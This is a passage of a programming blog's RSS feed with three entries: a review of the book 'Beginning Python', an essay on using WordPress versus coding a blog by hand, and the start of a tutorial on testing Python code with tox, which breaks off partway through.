}&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Beginning Python: From Novice To Professional was one of the first Python books I read. I chose this book because with it you could learn Python from scratch. The book starts from the installation of the language, going through the different types of data structures that Python includes and even two chapters on abstraction.&lt;/p&gt;&#xA;&lt;p&gt;When you get to the end of the introduction, the following chapters of this book touch on a different topic about Python each, some of the topics covered are as follows:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Network and server programming&lt;/li&gt;&#xA;&lt;li&gt;Database manipulation&lt;/li&gt;&#xA;&lt;li&gt;Web pages&lt;/li&gt;&#xA;&lt;li&gt;HTML and XML handling&lt;/li&gt;&#xA;&lt;li&gt;Graphical User Interfaces (GUI)&lt;/li&gt;&#xA;&lt;li&gt;Extension of Python code with C, C++ or Java&lt;/li&gt;&#xA;&lt;li&gt;Program packaging&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And, to close the book, the author offers us 10 different projects to put into practice all the topics mentioned above. As you can see, it is a complete walk through several areas of language.&lt;/p&gt;&#xA;&lt;p&gt;Also, if you want to learn more about this programming language &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/my-curated-best-resources-to-learn-python-programming-language/&#34;&gt;here&amp;rsquo;s my list of favorite resources to learn Python&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;learning-from-scratch&#34;&gt;Learning from scratch&lt;/h2&gt;&#xA;&lt;p&gt;The aspect I enjoyed most about this book was the wide variety of topics it touches on, it moves quickly from the basic programming language tutorial to more complex topics such as generating executables, compensating for the bottlenecks that Python has using C++, the part of &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/unittest-python-are-python-tests-worthwhile/&#34;&gt;tests in Python&lt;/a&gt;&#xA; (which is ignored in most programming tutorials), you even learn the existence of quite popular libraries such as swig, tornado, beautiful soup, among others.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;whats-wrong-with-beginning-python&#34;&gt;What&amp;rsquo;s wrong with Beginning Python&lt;/h2&gt;&#xA;&lt;p&gt;My biggest complaint about this book has the author&amp;rsquo;s neglect as the culprit. The book was written for Python 2, so most of the book&amp;rsquo;s content will need some fixes to keep it running for a short time, and will render much of its code obsolete when support for Python 2 comes to an end. Edit: There is already an updated version for Python 3. Although the range of topics covered in the book is quite wide, it is a bit lacking in depth, devoting about ten pages to deep topics such as graphical interfaces or code testing, which I would have liked it to expand a bit more, even at the expense of other topics or projects.&lt;/p&gt;&#xA;&lt;h2 id=&#34;my-opinion&#34;&gt;My opinion&lt;/h2&gt;&#xA;&lt;p&gt;I consider it an excellent book to learn Python from scratch. It&amp;rsquo;s challenging to find a tutorial that covers such a wide range of topics and so different from each other. However, I do emphasize that the version that should be purchased is the third edition, as it is the one that has the content updated to Python 3, the previous editions of the book are totally obsolete and are not recommended, much less in view of the depreciation of Python 2.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;&lt;strong&gt;Recommended prior knowledge:&lt;/strong&gt; HTML&lt;strong&gt;Recommended to read:&lt;/strong&gt; 8/10&lt;/p&gt;&#xA;&lt;p&gt;If you prefer a book in Spanish and also &lt;strong&gt;free&lt;/strong&gt; visit my entry where I &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/dive-into-python-the-best-book-to-learn-python/&#34;&gt;review Inmersión en Python&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Beginning Python: From Novice To Professional was one of the first Python books I read. I chose this book because with it you could learn Python from scratch. The book starts from the installation of the language, going through the different types of data structures that Python includes and even two chapters on abstraction.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>To program a blog or to use wordpress?</title>
      <link>https://coffeebytes.dev/en/opinion/to-program-a-blog-or-to-use-wordpress/</link>
      <pubDate>Wed, 26 Jun 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/opinion/to-program-a-blog-or-to-use-wordpress/</guid>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;The other day a person asked me why I use Wordpress for my blog if I could develop a website by myself. In the post where I explain &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/opinion/hello-world-how-did-i-learn-to-code/&#34;&gt;how I learned to program&lt;/a&gt;&#xA; I even talked briefly about my lousy experience with PHP. So why did I choose Wordpress instead of developing my own blog from scratch? The answer to that is simply that, &lt;strong&gt;for this blog, I want to write text, not code&lt;/strong&gt;. I don&amp;rsquo;t want this blog to become a project to develop along with creating posts. I want something that works with a couple of clicks and forget about it completely. Let&amp;rsquo;s not lose sight of the fact that the purpose of a personal blog is to write on it constantly, not to program it constantly. It&amp;rsquo;s sad to see so many developer blogs using the newest technologies and super up-to-date, but with very few entries.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-i-miss-when-using-wordpress&#34;&gt;What I miss when using wordpress&lt;/h2&gt;&#xA;&lt;p&gt;Certainly when using Wordpress you lose a lot of customization power, both at code and design level. I can only access what is already available, modifying the wordpress core would be a task that would not pay the right dividends. In the same way, by using Wordpress I am giving up new features in the programming world, such as SPA (out of the box, of course), SSR and other wonders that are probably not available for Wordpress. I also miss the pleasure of writing modifications using languages like javascript or Python, instead of PHP.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;what-i-earn-by-using-wordpress&#34;&gt;What I earn by using wordpress&lt;/h2&gt;&#xA;&lt;p&gt;Wordpress is a very popular system on the Internet and already has thousands of solutions to the most common problems. There are plugins to check my SEO, to correct my writing, to prevent comment spam, to integrate Wordpress automatically with MailChimp, to link post scheduling with social networks using hootsuite, to optimize images and thousands of templates made by designers much more talented than me. Yes, I know you could schedule all that too, but it&amp;rsquo;s time consuming and that time could be used to write more posts or schedule other websites.&lt;/p&gt;&#xA;&lt;h2 id=&#34;my-experience-so-far-with-wordpress&#34;&gt;My experience so far with wordpress&lt;/h2&gt;&#xA;&lt;p&gt;To tell the truth this is the first time I create something with wordpress. Installing it in &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/&#34;&gt;Digital Ocean&lt;/a&gt;&#xA; was quite easy and in less than 5 minutes I had a perfectly functional blog online, ready to start publishing in it and with an arsenal of tools to facilitate my work. My only two problems (if you can call them that) were two; the first one, the high spam content; the second one, apache2 does not serve content using http2 by default, so I needed to go to the terminal to modify the Apache2 configuration. Other than that, I have not had any problems with Wordpress, no data loss, no bugs in the code; my website runs relatively well, with very good metrics in &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://web.dev&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;lighthouse&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/to-program-a-blog-or-to-use-wordpress/images/web_core_vitals_de_mi_blog.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/to-program-a-blog-or-to-use-wordpress/images/web_core_vitals_de_mi_blog.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Web core vitals de coffee bytes&#34; width=&#34;787&#34; height=&#34;628&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;developers-hatred-of-wordpress&#34;&gt;Developers&amp;rsquo; hatred of wordpress&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve heard that hating Wordpress among developers is all the rage and I understand their sentiment but only to a certain extent. I think Wordpress is an excellent system for blogging because it is super friendly to the end user. I have been in charge of a company and I know that the end customer does not want to understand technical terms, he is not interested in what is node, nextjs, vercel or what is an XSS attack, what the customer wants is to be able to modify a site at will without having to call a web developer every week. Is it the right thing to do? Well I think it depends on the project, for personal blogs or smaller projects yes, for something much more sophisticated you would have to educate the client and explain the pros and cons of using a CMS like wordpress in the short, medium and long term.&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, I totally agree with the developers when they say that using Wordpress for ecommerce, photo galleries or any other application is a lousy idea, I totally share their feeling. As I wrote before, I think that in those situations where you need a much more customized solution you have to move on from Wordpress completely. However, it is the developer&amp;rsquo;s job to explain to the client the added value that a customized website, programmed from scratch, can bring to their brand.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/to-program-a-blog-or-to-use-wordpress/images/wordpress-meme.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/to-program-a-blog-or-to-use-wordpress/images/wordpress-meme.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Rapper wordpress meme&#34; width=&#34;800&#34; height=&#34;720&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;tldr&#34;&gt;TLDR;&lt;/h2&gt;&#xA;&lt;p&gt;In short, I would use wordpress only for personal blogs. However I would avoid using wordpress for photo galleries, ecommerce or any other type of website that requires a bit more customization.&lt;/p&gt;&#xA;&lt;h2 id=&#34;update-why-i-dont-use-wordpress-anymore-for-this-blog&#34;&gt;Update, why I don&amp;rsquo;t use wordpress anymore for this blog?&lt;/h2&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Update 18-Feb-2021: I decided to combine the best of both worlds; a frontend written using the new Javascript technologies and a robust wordpress backend. To do this I used &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://frontity.org/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Frontity, a React framework for wordpress&lt;/a&gt;&#xA;. The navigation is much smoother and I can customize the UI it to my liking. And, since the backend of my blog is still wordpress, I can still use Yoast SEO and the wordpress post editor, from which I am writing this post.&lt;/p&gt;&#xA;&lt;p&gt;Apr-2022 update: I switched to Hugo, an SSG written almost entirely in Go, generates static sites in about 1ms per page, uses Markdown to generate the pages and has a lot of built-in features.&lt;/p&gt;&#xA;&lt;p&gt;I really love Hugo, it allows me to forget about multiple security issues, and keep updated package versions in npm and so on. I have been using it for a short time but I love it, the only bad thing is the learning curve.&lt;/p&gt;&#xA;&lt;p&gt;But make no mistake, I still consider Wordpress to be the best option for most people who want to start a blog, Hugo requires too much technical knowledge to be useful for everyone, its community is much smaller and most of the &amp;ldquo;out of the box&amp;rdquo; solutions are outdated and not as numerous as in Wordpress. I also miss certain plugins like Yoast, which took care of SEO while creating a post and with which I didn&amp;rsquo;t &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/seo/my-technical-seo-mistakes-when-i-migrated-my-site-from-wordpress/&#34;&gt;have to worry about making beginner mistakes in the SEO of the page&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;I even developed my own minimalist theme, with just the basics according to my needs, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/EduardoZepeda/hugo-theme-latte&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;the code is on my github&lt;/a&gt;&#xA;, so if you&amp;rsquo;re curious you can check it out anytime.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;The other day a person asked me why I use Wordpress for my blog if I could develop a website by myself. In the post where I explain &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/opinion/hello-world-how-did-i-learn-to-code/&#34;&gt;how I learned to program&lt;/a&gt;&#xA; I even talked briefly about my lousy experience with PHP. So why did I choose Wordpress instead of developing my own blog from scratch? The answer to that is simply that, &lt;strong&gt;for this blog, I want to write text, not code&lt;/strong&gt;. I don&amp;rsquo;t want this blog to become a project to develop along with creating posts. I want something that works with a couple of clicks and forget about it completely. Let&amp;rsquo;s not lose sight of the fact that the purpose of a personal blog is to write on it constantly, not to program it constantly. It&amp;rsquo;s sad to see so many developer blogs using the newest technologies and super up-to-date, but with very few entries.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Testing with tox in Python, tutorial from scratch</title>
      <link>https://coffeebytes.dev/en/python/testing-with-tox-in-python-tutorial-from-scratch/</link>
      <pubDate>Tue, 18 Jun 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/python/testing-with-tox-in-python-tutorial-from-scratch/</guid>
      
      <category>python</category>
      
      <category>testing</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Previously I briefly discussed &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/unittest-python-are-python-tests-worthwhile/&#34;&gt;unittest, coverage, mock, nose, nose, pytest and other testing tools in Python&lt;/a&gt;&#xA;. You are probably wondering then why do we need more libraries? In this post we are going to talk a bit about tox, a testing tool for testing code in different versions of Python.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-is-tox-for&#34;&gt;What is Tox for?&lt;/h2&gt;&#xA;&lt;p&gt;Imagine you are writing a small application for the general public. All your code tests pass, the application works perfectly.&lt;/p&gt;&#xA;&lt;p&gt;After a few days people contact you and let you know that your application crashes, but how, all the tests pass and you have personally tested it yourself. After finding out a bit about the problem you realize that the people using it have the newest version of Python. Apparently the code in the new version changed and made your application unusable in the new versions. But your problems don&amp;rsquo;t end there, there are other users with outdated versions of Python who also have problems.&lt;/p&gt;&#xA;&lt;p&gt;You decide to test your application with the new versions, but you realize that it&amp;rsquo;s a pain, there are too many versions of Python, you would have to test in each one of them. &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://tox.readthedocs.io/en/latest/#&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Tox&lt;/a&gt;&#xA; does just that for you.&lt;/p&gt;&#xA;&lt;p&gt;Tox allows you to test your code in different environments, with Python 2.7, Python 3.5, Python 3.6, Python 3.7, with the versions you prefer. That way you can test with which Python versions your code works automatically and write it in the documentation of your application.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;how-to-install-and-use-tox&#34;&gt;How to install and use tox&lt;/h2&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s briefly test the Tox functionality. To start with, install Tox, if you can do it in a virtual environment, all the better.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install tox&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;requirements-for-using-tox&#34;&gt;Requirements for using tox&lt;/h2&gt;&#xA;&lt;p&gt;In order to run tox we will need a tox.ini file, a setup.py file and a python file starting with &amp;rsquo;test_&amp;rsquo; .&lt;/p&gt;&#xA;&lt;h2 id=&#34;create-a-toxini-file-with-tox-quickstart&#34;&gt;Create a tox.ini file with tox-quickstart&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;One way to create the file needed to use tox is by means of the tox-quickstart command. Tox will ask us several questions and will automatically generate the tox.ini file we need for testing.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tox-quickstart&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We will select number 4 to choose the Python versions ourselves and answer with &amp;lsquo;Y&amp;rsquo; to Python 2.7 and Python 3.5 version.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;What Python versions &lt;span style=&#34;color:#ff6ac1&#34;&gt;do&lt;/span&gt; you want 